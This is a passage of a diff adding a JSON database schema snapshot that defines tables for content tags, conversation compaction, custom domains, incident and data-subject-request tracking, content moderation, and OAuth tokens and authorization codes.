"tableFrom": "content_tags", + "tableTo": "tags", + "columnsFrom": [ + "tagId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_pageId_pages_id_fk": { + "name": "content_tags_pageId_pages_id_fk", + "tableFrom": "content_tags", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_channelMessageId_channel_messages_id_fk": { + "name": "content_tags_channelMessageId_channel_messages_id_fk", + "tableFrom": "content_tags", + "tableTo": "channel_messages", + "columnsFrom": [ + "channelMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_aiMessageId_messages_id_fk": { + "name": "content_tags_aiMessageId_messages_id_fk", + "tableFrom": "content_tags", + "tableTo": "messages", + "columnsFrom": [ + "aiMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_createdBy_users_id_fk": { + "name": "content_tags_createdBy_users_id_fk", + "tableFrom": "content_tags", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "content_tags_target_chk": { + "name": "content_tags_target_chk", + "value": "(\n (\"content_tags\".\"targetKind\" = 'page' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'text' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NOT NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'sheet_cell' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'channel_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NOT NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'ai_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NOT NULL)\n )" + }, + "content_tags_confidence_range_chk": { + "name": "content_tags_confidence_range_chk", + "value": "\"content_tags\".\"confidence\" IS NULL OR (\"content_tags\".\"confidence\" >= 0 AND \"content_tags\".\"confidence\" <= 1)" + } + }, + "isRLSEnabled": false + }, + "public.conversation_compactions": { + "name": "conversation_compactions", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "summary_tokens": { + "name": "summary_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "compacted_up_to_message_id": { + "name": "compacted_up_to_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "compacted_up_to_created_at": { + "name": "compacted_up_to_created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "summary_version": { + "name": "summary_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "summarizer_model": { + "name": "summarizer_model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_compacted_at": { + "name": "last_compacted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "conversation_compactions_page_id_idx": { + "name": "conversation_compactions_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "conversation_compactions_conversation_id_source_pk": { + "name": "conversation_compactions_conversation_id_source_pk", + "columns": [ + "conversation_id", + "source" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "conversation_compactions_source_chk": { + "name": "conversation_compactions_source_chk", + "value": "\"conversation_compactions\".\"source\" IN ('page', 'global')" + } + }, + "isRLSEnabled": false + }, + "public.custom_domains": { + "name": "custom_domains", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "hostname": { + "name": "hostname", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "custom_domain_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "is_primary": { + "name": "is_primary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "platform_owned": { + "name": "platform_owned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "publish_landing_page_id": { + "name": "publish_landing_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_not_found_page_id": { + "name": "publish_not_found_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_app_id": { + "name": "published_app_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "custom_domains_hostname_key": { + "name": "custom_domains_hostname_key", + "columns": [ + { + "expression": "hostname", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_drive_id_idx": { + "name": "custom_domains_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_suspended_by_policy_idx": { + "name": "custom_domains_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"custom_domains\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_published_app_id_idx": { + "name": "custom_domains_published_app_id_idx", + "columns": [ + { + "expression": "published_app_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_primary_per_drive": { + "name": "custom_domains_primary_per_drive", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"custom_domains\".\"is_primary\"", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "custom_domains_drive_id_drives_id_fk": { + "name": "custom_domains_drive_id_drives_id_fk", + "tableFrom": "custom_domains", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "custom_domains_publish_landing_page_id_pages_id_fk": { + "name": "custom_domains_publish_landing_page_id_pages_id_fk", + "tableFrom": "custom_domains", + "tableTo": "pages", + "columnsFrom": [ + "publish_landing_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "custom_domains_publish_not_found_page_id_pages_id_fk": { + "name": "custom_domains_publish_not_found_page_id_pages_id_fk", + "tableFrom": "custom_domains", + "tableTo": "pages", + "columnsFrom": [ + "publish_not_found_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "custom_domains_published_app_id_published_apps_id_fk": { + "name": "custom_domains_published_app_id_published_apps_id_fk", + "tableFrom": "custom_domains", + "tableTo": "published_apps", + "columnsFrom": [ + "published_app_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.incidents": { + "name": "incidents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "severity": { + "name": "severity", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'detected'" + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "detectedAt": { + "name": "detectedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "reportedBy": { + "name": "reportedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "affectedUserCount": { + "name": "affectedUserCount", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "affectedScope": { + "name": "affectedScope", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "riskLevel": { + "name": "riskLevel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requiresAuthorityNotification": { + "name": "requiresAuthorityNotification", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "authorityNotificationDeadline": { + "name": "authorityNotificationDeadline", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "authorityNotifiedAt": { + "name": "authorityNotifiedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "requiresSubjectNotification": { + "name": "requiresSubjectNotification", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "subjectsNotifiedAt": { + "name": "subjectsNotifiedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "closedAt": { + "name": "closedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_incidents_status": { + "name": "idx_incidents_status", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_incidents_detected_at": { + "name": "idx_incidents_detected_at", + "columns": [ + { + "expression": "detectedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_incidents_authority_deadline": { + "name": "idx_incidents_authority_deadline", + "columns": [ + { + "expression": "authorityNotificationDeadline", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "incidents_reportedBy_users_id_fk": { + "name": "incidents_reportedBy_users_id_fk", + "tableFrom": "incidents", + "tableTo": "users", + "columnsFrom": [ + "reportedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.data_subject_requests": { + "name": "data_subject_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subject_email": { + "name": "subject_email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request_type": { + "name": "request_type", + "type": "data_subject_request_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'erasure'" + }, + "status": { + "name": "status", + "type": "data_subject_request_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "force_delete": { + "name": "force_delete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "requested_by_user_id": { + "name": "requested_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_by_type": { + "name": "requested_by_type", + "type": "data_subject_requester_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'self'" + }, + "legal_basis": { + "name": "legal_basis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "received_at": { + "name": "received_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sla_deadline": { + "name": "sla_deadline", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "blocked_reason": { + "name": "blocked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_id": { + "name": "job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "step_results": { + "name": "step_results", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "data_subject_requests_status_idx": { + "name": "data_subject_requests_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_subject_requests_sla_deadline_idx": { + "name": "data_subject_requests_sla_deadline_idx", + "columns": [ + { + "expression": "sla_deadline", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_subject_requests_user_id_idx": { + "name": "data_subject_requests_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "data_subject_requests_user_id_users_id_fk": { + "name": "data_subject_requests_user_id_users_id_fk", + "tableFrom": "data_subject_requests", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "data_subject_requests_requested_by_user_id_users_id_fk": { + "name": "data_subject_requests_requested_by_user_id_users_id_fk", + "tableFrom": "data_subject_requests", + "tableTo": "users", + "columnsFrom": [ + "requested_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_blocks": { + "name": "content_blocks", + "schema": "", + "columns": { + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_blocks_case_id_idx": { + "name": "content_blocks_case_id_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_cases": { + "name": "content_cases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reporter_user_id": { + "name": "reporter_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reporter_contact": { + "name": "reporter_contact", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "snapshot": { + "name": "snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "steps": { + "name": "steps", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_cases_target_idx": { + "name": "content_cases_target_idx", + "columns": [ + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_reported_target_key": { + "name": "content_cases_reported_target_key", + "columns": [ + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_cases\".\"status\" = 'reported'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_content_hash_idx": { + "name": "content_cases_content_hash_idx", + "columns": [ + { + "expression": "content_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_status_created_at_idx": { + "name": "content_cases_status_created_at_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_reports": { + "name": "content_reports", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reporter_user_id": { + "name": "reporter_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contact_email": { + "name": "contact_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_reports_case_id_created_at_idx": { + "name": "content_reports_case_id_created_at_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_scan_backfill": { + "name": "content_scan_backfill", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "phase": { + "name": "phase", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "start_after": { + "name": "start_after", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pass": { + "name": "pass", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "counts": { + "name": "counts", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "last_pass_counts": { + "name": "last_pass_counts", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "pass_started_at": { + "name": "pass_started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_completed_at": { + "name": "last_completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lease_until": { + "name": "lease_until", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_scans": { + "name": "content_scans", + "schema": "", + "columns": { + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "verdict": { + "name": "verdict", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_version": { + "name": "provider_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scores": { + "name": "scores", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scanned_at": { + "name": "scanned_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_site_holds": { + "name": "content_site_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "holder": { + "name": "holder", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_site_holds_drive_holder_key": { + "name": "content_site_holds_drive_holder_key", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "holder", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_site_holds_user_id_idx": { + "name": "content_site_holds_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_access_tokens": { + "name": "oauth_access_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "familyId": { + "name": "familyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + "name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_access_tokens_family_id_idx": { + "name": "oauth_access_tokens_family_id_idx", + "columns": [ + { + "expression": "familyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_user_id_idx": { + "name": "oauth_access_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_client_id_idx": { + "name": "oauth_access_tokens_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_token_hash_idx": { + "name": "oauth_access_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_expires_at_idx": { + "name": "oauth_access_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_access_tokens_clientId_oauth_clients_id_fk": { + "name": "oauth_access_tokens_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_access_tokens", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_access_tokens_userId_users_id_fk": { + "name": "oauth_access_tokens_userId_users_id_fk", + "tableFrom": "oauth_access_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_access_tokens_tokenHash_unique": { + "name": "oauth_access_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_authorization_codes": { + "name": "oauth_authorization_codes", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "codeHash": { + "name": "codeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codePrefix": { + "name": "codePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "redirectUri": { + "name": "redirectUri", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codeChallenge": { + "name": "codeChallenge", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codeChallengeMethod": { + "name": "codeChallengeMethod", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "issuedFamilyId": { + "name": "issuedFamilyId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_authorization_codes_client_id_idx": { + "name": "oauth_authorization_codes_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + 